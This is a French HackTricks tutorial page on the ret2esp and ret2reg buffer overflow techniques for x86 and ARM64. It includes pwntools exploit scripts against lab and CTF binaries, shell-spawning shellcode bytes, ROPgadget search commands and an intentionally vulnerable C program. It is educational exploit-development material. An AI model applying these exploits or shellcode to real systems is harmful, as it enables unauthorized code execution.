Ret2esp / Ret2reg

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Ret2esp

Parce que l'ESP (Pointeur de Pile) pointe toujours vers le haut de la pile, cette technique consiste à remplacer l'EIP (Pointeur d'Instruction) par l'adresse d'une instruction jmp esp ou call esp. En faisant cela, le shellcode est placé juste après l'EIP écrasé. Lorsque l'instruction ret s'exécute, l'ESP pointe vers l'adresse suivante, précisément là où le shellcode est stocké.

Si l'Address Space Layout Randomization (ASLR) n'est pas activé sous Windows ou Linux, il est possible d'utiliser des instructions jmp esp ou call esp trouvées dans des bibliothèques partagées. Cependant, avec ASLR actif, il peut être nécessaire de chercher ces instructions dans le programme vulnérable lui-même (et vous pourriez avoir besoin de contourner PIE).

De plus, être capable de placer le shellcode après la corruption de l'EIP, plutôt qu'au milieu de la pile, garantit que toutes les instructions push ou pop exécutées pendant l'opération de la fonction n'interfèrent pas avec le shellcode. Cette interférence pourrait se produire si le shellcode était placé au milieu de la pile de la fonction.

Manque d'espace

Si vous manquez d'espace pour écrire après avoir écrasé le RIP (peut-être juste quelques octets), écrivez un shellcode initial jmp comme :

armasm
sub rsp, 0x30
jmp rsp

Et écrivez le shellcode tôt dans la pile.

Exemple

Vous pouvez trouver un exemple de cette technique dans https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp avec un exploit final comme :

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Vous pouvez voir un autre exemple de cette technique dans https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Il y a un débordement de tampon sans NX activé, un gadget est utilisé pour réduire l'adresse de $esp et ensuite un jmp esp; pour sauter au shellcode :

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

De même, si nous savons qu'une fonction renvoie l'adresse où le shellcode est stocké, nous pouvons tirer parti des instructions call eax ou jmp eax (connues sous le nom de technique ret2eax), offrant une autre méthode pour exécuter notre shellcode. Tout comme eax, n'importe quel autre registre contenant une adresse intéressante pourrait être utilisé (ret2reg).

Exemple

Vous pouvez trouver quelques exemples ici :

ARM64

Ret2sp

Dans ARM64, il n'y a pas d'instructions permettant de sauter au registre SP. Il pourrait être possible de trouver un gadget qui déplace sp vers un registre puis saute à ce registre, mais dans la libc de ma kali, je n'ai pas pu trouver de gadget comme ça :

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Les seuls que j'ai découverts changeraient la valeur du registre où sp a été copié avant de sauter à celui-ci (il deviendrait donc inutile) :

Ret2reg

Si un registre a une adresse intéressante, il est possible de sauter à celle-ci en trouvant simplement l'instruction adéquate. Vous pourriez utiliser quelque chose comme :

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

En ARM64, c'est x0 qui stocke la valeur de retour d'une fonction, donc il se pourrait que x0 stocke l'adresse d'un tampon contrôlé par l'utilisateur avec un shellcode à exécuter.

Exemple de code :

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Vérifiant le désassemblage de la fonction, il est possible de voir que l'adresse du tampon (vulnérable au bof et contrôlée par l'utilisateur) est stockée dans x0 avant de revenir de l'overflow de tampon :

Il est également possible de trouver le gadget br x0 dans la fonction do_stuff :

Nous allons utiliser ce gadget pour y sauter car le binaire est compilé SANS PIE. En utilisant un motif, il est possible de voir que l'offset de l'overflow de tampon est 80, donc l'exploit serait :

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

Si au lieu de fgets, quelque chose comme read avait été utilisé, il aurait été possible de contourner PIE en écrivant seulement les 2 derniers octets de l'adresse de retour pour revenir à l'instruction br x0; sans avoir besoin de connaître l'adresse complète.
Avec fgets, cela ne fonctionne pas car il ajoute un octet nul (0x00) à la fin.

Protections

  • NX : Si la pile n'est pas exécutable, cela ne sera pas utile car nous devons placer le shellcode dans la pile et sauter pour l'exécuter.
  • ASLR & PIE : Cela peut rendre plus difficile de trouver une instruction pour sauter à esp ou à tout autre registre.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks